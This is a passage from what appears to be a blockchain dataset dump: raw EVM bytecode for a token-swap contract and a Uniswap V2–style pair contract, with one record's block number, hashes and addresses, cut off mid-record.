2002602001015160000151600360006101000a8154816001600160a01b0302191690836001600160a01b031602179055508060800151600081518110612c5f57612c5f614116565b60200260200101516020015160048190555080602001516001600160401b031681600001517f90ec910a8f80bb04e184a806e2ae6f8786ef2ae898859a3180f953397edc12018360400151806020019051810190612cbd9190614250565b8460600151806020019051810190612cd59190614c6e565b8560800151600081518110612cec57612cec614116565b6020026020010151600001518660800151600081518110612d0f57612d0f614116565b602002602001015160200151604051612d2b9493929190614d75565b60405180910390a3600060058054612d42906140dc565b80601f0160208091040260200160405190810160405280929190818152602001828054612d6e906140dc565b8015612dbb5780601f10612d9057610100808354040283529160200191612dbb565b820191906000526020600020905b815481529060010190602001808311612d9e57829003601f168201915b5050505050806020019051810190612dd3919061492e565b60048054600354601154604051636eb1769f60e11b815230948101949094526001600160a01b0390811660248501529394509092169063dd62ed3e90604401602060405180830381865afa158015612e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e53919061412c565b1015612ed9576003546011546004805460405163095ea7b360e01b81526001600160a01b039384169281019290925219602482015291169063095ea7b3906044016020604051808303816000875af1158015612eb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ed79190614c0b565b505b600060405180608001604052808360a0015181526020018360800151612f03578360200151612f05565b305b6001600160a01b03908116825260048054602084015260408681015193810193909352601154925163b858183f60e01b8152939450600093929091169163b858183f91612f5491869101614b9b565b6020604051808303816000875af1158015612f73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f97919061412c565b90508260c00151600181518110612fb057612fb0614116565b60200260200101516001600160a01b03167311111111111111111111111111111111111111116001600160a01b03160361308657600a54604051632e1a7d4d60e01b8152600481018390526001600160a01b0390911690632e1a7d4d90602401600060405180830381600087803b15801561302a57600080fd5b505af115801561303e573d6000803e3d6000fd5b5050505082602001516001600160a01b03166108fc829081150290604051600060405180830381858888f1935050505015801561307f573d6000803e3d6000fd5b5050505050565b82608001511561214257600a54601254604051636eb1769f60e11b81523060048201526001600160a01b0391821660248201528392919091169063dd62ed3e90604401602060405180830381865afa1580156130e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061310a919061412c565b101561318c57600a5460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015613166573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061318a9190614c0b565b505b601254606084015160c08501516020860151604051635c11d79560e01b81526001600160a01b0390941693635c11d795936131db938793919290919068056bc75e2d630fffff90600401614b5f565b600060405180830381600087803b1580156131f557600080fd5b505af1158015613209573d6000803e3d6000fd5b5050505050505050565b336001600160a01b0382160361326b5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207472616e7366657220746f2073656c660000000000000000006044820152606401610b67565b600180546001600160a01b0319166001600160a01b0383811691821790925560008054604051929316917fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae12789190a350565b6000613311826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166136069092919063ffffffff16565b805190915015610a40578080602001905181019061332f9190614c0b565b610a405760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610b67565b6000818152600283016020526040812054801515806133b257506133b28484613615565b610ec95760405162461bcd60e51b815260206004820152601e60248201527f456e756d657261626c654d61703a206e6f6e6578697374656e74206b657900006044820152606401610b67565b60008281526002840160205260408120829055611f4e8484613621565b60006107bd8261362d565b600080806134348585613637565b600081815260029690960160205260409095205494959350505050565b604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015282919085169063dd62ed3e90604401602060405180830381865afa1580156134a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134c4919061412c565b1015610a40576134df6001600160a01b0384168360006134f1565b610a406001600160a01b038416836000195b80158061356b5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e90604401602060405180830381865afa158015613545573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613569919061412c565b155b6135d65760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610b67565b6040516001600160a01b038316602482015260448101829052610a4090849063095ea7b360e01b90606401611efe565b6060611f4e8484600085613643565b6000610ec9838361371e565b6000610ec98383613736565b60006107bd825490565b6000610ec98383613785565b6060824710156136a45760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610b67565b600080866001600160a01b031685876040516136c09190614da9565b60006040518083038185875af1925050503d80600081146136fd576040519150601f19603f3d011682016040523d82523d6000602084013e613702565b606091505b5091509150613713878383876137af565b979650505050505050565b60008181526001830160205260408120541515610ec9565b600081815260018301602052604081205461377d575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556107bd565b5060006107bd565b600082600001828154811061379c5761379c614116565b9060005260206000200154905092915050565b6060831561381e578251600003613817576001600160a01b0385163b6138175760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610b67565b5081611f4e565b611f4e83838151156138335781518083602001fd5b8060405162461bcd60e51b8152600401610b679190614a05565b60006020828403121561385f57600080fd5b81356001600160e01b031981168114610ec957600080fd5b6001600160a01b0381168114611e7a57600080fd5b803561389781613877565b919050565b600080604083850312156138af57600080fd5b82356138ba81613877565b915060208301356138ca81613877565b809150509250929050565b60005b838110156138f05781810151838201526020016138d8565b50506000910152565b600081518084526139118160208601602086016138d5565b601f01601f19169290920160200192915050565b84815260806020820152600061393e60808301866138f9565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561396c57600080fd5b5035919050565b80516001600160a01b0390811683526020808301519091169083015260408082015190830152606080820151151590830152608090810151910152565b60a081016107bd8284613973565b6001600160401b0381168114611e7a57600080fd5b8035613897816139be565b6000602082840312156139f057600080fd5b8135610ec9816139be565b60008060408385031215613a0e57600080fd5b8235613a1981613877565b946020939093013593505050565b600060208284031215613a3957600080fd5b8135610ec981613877565b600080600060608486031215613a5957600080fd5b8335613a6481613877565b95602085013595506040909401359392505050565b6020808252825182820181905260009190848201906040850190845b81811015613abb57613aa8838551613973565b9284019260a09290920191600101613a95565b50909695505050505050565b600080600060608486031215613adc57600080fd5b833592506020840135613aee81613877565b929592945050506040919091013590565b8015158114611e7a57600080fd5b803561389781613aff565b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715613b5057613b50613b18565b60405290565b604080519081016001600160401b0381118282101715613b5057613b50613b18565b60405160a081016001600160401b0381118282101715613b5057613b50613b18565b604051601f8201601f191681016001600160401b0381118282101715613bc257613bc2613b18565b604052919050565b60006001600160401b03821115613be357613be3613b18565b50601f01601f191660200190565b6000613c04613bff84613bca565b613b9a565b9050828152838383011115613c1857600080fd5b828260208301376000602084830101529392505050565b600082601f830112613c4057600080fd5b610ec983833560208501613bf1565b60006001600160401b03821115613c6857613c68613b18565b5060051b60200190565b600082601f830112613c8357600080fd5b81356020613c93613bff83613c4f565b82815260059290921b84018101918181019086841115613cb257600080fd5b8286015b84811015613cd6578035613cc981613877565b8352918301918301613cb6565b509695505050505050565b600060e08284031215613cf357600080fd5b613cfb613b2e565b9050613d068261388c565b8152613d146020830161388c565b60208201526040820135604082015260608201356060820152613d3960808301613b0d565b608082015260a08201356001600160401b0380821115613d5857600080fd5b613d6485838601613c2f565b60a084015260c0840135915080821115613d7d57600080fd5b50613d8a84828501613c72565b60c08301525092915050565b600080600080600080600060e0888a031215613db157600080fd5b8735613dbc816139be565b96506020880135613dcc81613877565b95506040880135613ddc81613877565b9450606088013593506080880135925060a0880135613dfa81613aff565b915060c08801356001600160401b03811115613e1557600080fd5b613e218a828b01613ce1565b91505092959891949750929550565b600060208284031215613e4257600080fd5b81356001600160401b03811115613e5857600080fd5b820160a08185031215610ec957600080fd5b60008060408385031215613e7d57600080fd5b50508035926020909101359150565b634e487b7160e01b600052602160045260246000fd5b60208082528251828201819052600091906040908185019086840185805b83811015613f015782518051865287015160028110613eed57634e487b7160e01b83526021600452602483fd5b858801529385019391860191600101613ec0565b509298975050505050505050565b60008060408385031215613f2257600080fd5b8235613f2d816139be565b915060208301356138ca81613aff565b60008060408385031215613f5057600080fd5b8235915060208301356138ca81613877565b60008060008060008060c08789031215613f7b57600080fd5b8635613f86816139be565b95506020870135613f9681613877565b9450604087013593506060870135613fad81613aff565b925060808701356001600160401b0380821115613fc957600080fd5b9088019060e0828b031215613fdd57600080fd5b613fe5613b2e565b613fee8361388c565b815260208301356020820152604083013560408201526060830135606082015261401a60808401613b0d565b608082015260a08301358281111561403157600080fd5b61403d8c828601613c2f565b60a08301525061404f60c0840161388c565b60c0820152935060a089013591508082111561406a57600080fd5b5061407789828a01613ce1565b9150509295509295509295565b8481526001600160401b03841660208201526080604082015260006140ac60808301856138f9565b828103606084015261371381856138f9565b600080604083850312156140d157600080fd5b8235613f2d81613877565b600181811c908216806140f057607f821691505b60208210810361411057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561413e57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156107bd576107bd614145565b60006001820161418057614180614145565b5060010190565b600081518084526020808501945080840160005b838110156141c05781516001600160a01b03168752958201959082019060010161419b565b509495945050505050565b60208152600060018060a01b038084511660208401528060208501511660408401525060408301516060830152606083015160808301526080830151151560a083015260a083015160e060c08401526142286101008401826138f9565b905060c0840151601f198483030160e085015261247e8282614187565b805161389781613877565b60006020828403121561426257600080fd5b8151610ec981613877565b600060406001600160401b038516835260208181850152845160a08386015261429960e08601826138f9565b905081860151603f19808784030160608801526142b683836138f9565b88860151888203830160808a01528051808352908601945060009350908501905b8084101561430957845180516001600160a01b03168352860151868301529385019360019390930192908601906142d7565b5060608901516001600160a01b031660a08901526080890151888203830160c08a0152955061141381876138f9565b6000808335601e1984360301811261434f57600080fd5b8301803591506001600160401b0382111561436957600080fd5b60200191503681900382131561210357600080fd5b6000808335601e1984360301811261439557600080fd5b83016020810192503590506001600160401b038111156143b457600080fd5b80360382131561210357600080fd5b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b8183526000602080850194508260005b858110156141c057813561440f81613877565b6001600160a01b031687528183013583880152604096870196909101906001016143fc565b60208152813560208201526000602083013561444f816139be565b6001600160401b03808216604085015261446c604086018661437e565b925060a0606086015261448360c0860184836143c3565b925050614493606086018661437e565b601f19808786030160808801526144ab8583856143c3565b945060808801359250601e198836030183126144c657600080fd5b602092880192830192359150838211156144df57600080fd5b8160061b36038313156144f157600080fd5b8685030160a08701526137138482846143ec565b601f821115610a4057600081815260208120601f850160051c8101602086101561452c5750805b601f850160051c820191505b8181101561454b57828155600101614538565b505050505050565b6001600160401b0383111561456a5761456a613b18565b61457e8361457883546140dc565b83614505565b6000601f8411600181146145b2576000851561459a5750838201355b600019600387901b1c1916600186901b17835561307f565b600083815260209020601f19861690835b828110156145e357868501358255602094850194600190920191016145c3565b50868210156146005760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b6000808335601e1984360301811261462957600080fd5b8301803591506001600160401b0382111561464357600080fd5b6020019150600681901b360382131561210357600080fd5b80820281158282048414176107bd576107bd614145565b813561467d81613877565b81546001600160a01b0319166001600160a01b03919091161781556020919091013560019190910155565b680100000000000000008311156146c1576146c1613b18565b80548382558084101561472f5760016001600160ff1b0382811683146146e9576146e9614145565b80861686146146fa576146fa614145565b5060008381526020812086831b81019084841b015b8082101561472a57828255828483015560028201915061470f565b505050505b5060008181526020812083915b8581101561454b5761474e8383614672565b604092909201916002919091019060010161473c565b8135815560018101602083013561477a816139be565b6001600160401b038082166001600160401b03198454161783556147a16040860186614338565b935091506147b3838360028701614553565b6147c06060860186614338565b935091506147d2838360038701614553565b60808501359250601e198536030183126147eb57600080fd5b91840191823591508082111561480057600080fd5b506020820191508060061b360382131561481957600080fd5b6121428183600486016146a8565b60006020828403121561483957600080fd5b81356001600160401b0381111561484f57600080fd5b8201601f8101841361486057600080fd5b611f4e84823560208401613bf1565b805161389781613aff565b6000614888613bff84613bca565b905082815283838301111561489c57600080fd5b610ec98360208301846138d5565b600082601f8301126148bb57600080fd5b610ec98383516020850161487a565b600082601f8301126148db57600080fd5b815160206148eb613bff83613c4f565b82815260059290921b8401810191818101908684111561490a57600080fd5b8286015b84811015613cd657805161492181613877565b835291830191830161490e565b60006020828403121561494057600080fd5b81516001600160401b038082111561495757600080fd5b9083019060e0828603121561496b57600080fd5b614973613b2e565b61497c83614245565b815261498a60208401614245565b602082015260408301516040820152606083015160608201526149af6080840161486f565b608082015260a0830151828111156149c657600080fd5b6149d2878286016148aa565b60a08301525060c0830151828111156149ea57600080fd5b6149f6878286016148ca565b60c08301525095945050505050565b602081526000610ec960208301846138f9565b818103818111156107bd576107bd614145565b600082601f830112614a3c57600080fd5b81356020614a4c613bff83613c4f565b82815260069290921b84018101918181019086841115614a6b57600080fd5b8286015b84811015613cd65760408189031215614a885760008081fd5b614a90613b56565b8135614a9b81613877565b81528185013585820152835291830191604001614a6f565b600060a08236031215614ac557600080fd5b614acd613b78565b82358152614add602084016139d3565b602082015260408301356001600160401b0380821115614afc57600080fd5b614b0836838701613c2f565b60408401526060850135915080821115614b2157600080fd5b614b2d36838701613c2f565b60608401526080850135915080821115614b4657600080fd5b50614b5336828601614a2b565b60808301525092915050565b85815284602082015260a060408201526000614b7e60a0830186614187565b6001600160a01b0394909416606083015250608001529392505050565b602081526000825160806020840152614bb760a08401826138f9565b905060018060a01b03602085015116604084015260408401516060840152606084015160808401528091505092915050565b600082614c0657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215614c1d57600080fd5b8151610ec981613aff565b600060018060a01b03808916835260c06020840152614c4a60c08401896138f9565b968116604084015260608301959095525091909216608082015260a0015292915050565b600060208284031215614c8057600080fd5b81516001600160401b03811115614c9657600080fd5b8201601f81018413614ca757600080fd5b611f4e8482516020840161487a565b81516001600160401b03811115614ccf57614ccf613b18565b614ce381614cdd84546140dc565b84614505565b602080601f831160018114614d185760008415614d005750858301515b600019600386901b1c1916600185901b17855561454b565b600085815260208120601f198616915b82811015614d4757888601518255948401946001909101908401614d28565b5085821015614d655787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060018060a01b03808716835260806020840152614d9760808401876138f9565b94166040830152506060015292915050565b60008251614dbb8184602087016138d5565b919091019291505056fea26469706673582212202dbe1d88e0f4701fdb4e533c8229d35376380244912bfe0cf038ac5c045727ce64736f6c63430008130033
1	19,499,726	0ea4100c7cee71bed3be51d9357096ff92f271a327bea06b886dbd75ddf37992	8ba1913e4c3af682692f63a8b1b15e23d6f11a726c32431ee3b4049c913ca570	9e2e3aa0e567f038db18d4601d6c2f4d886c9141	5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f	a9a2e12ba2fc79cf34e0144154a2732d4ebe99ad	60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000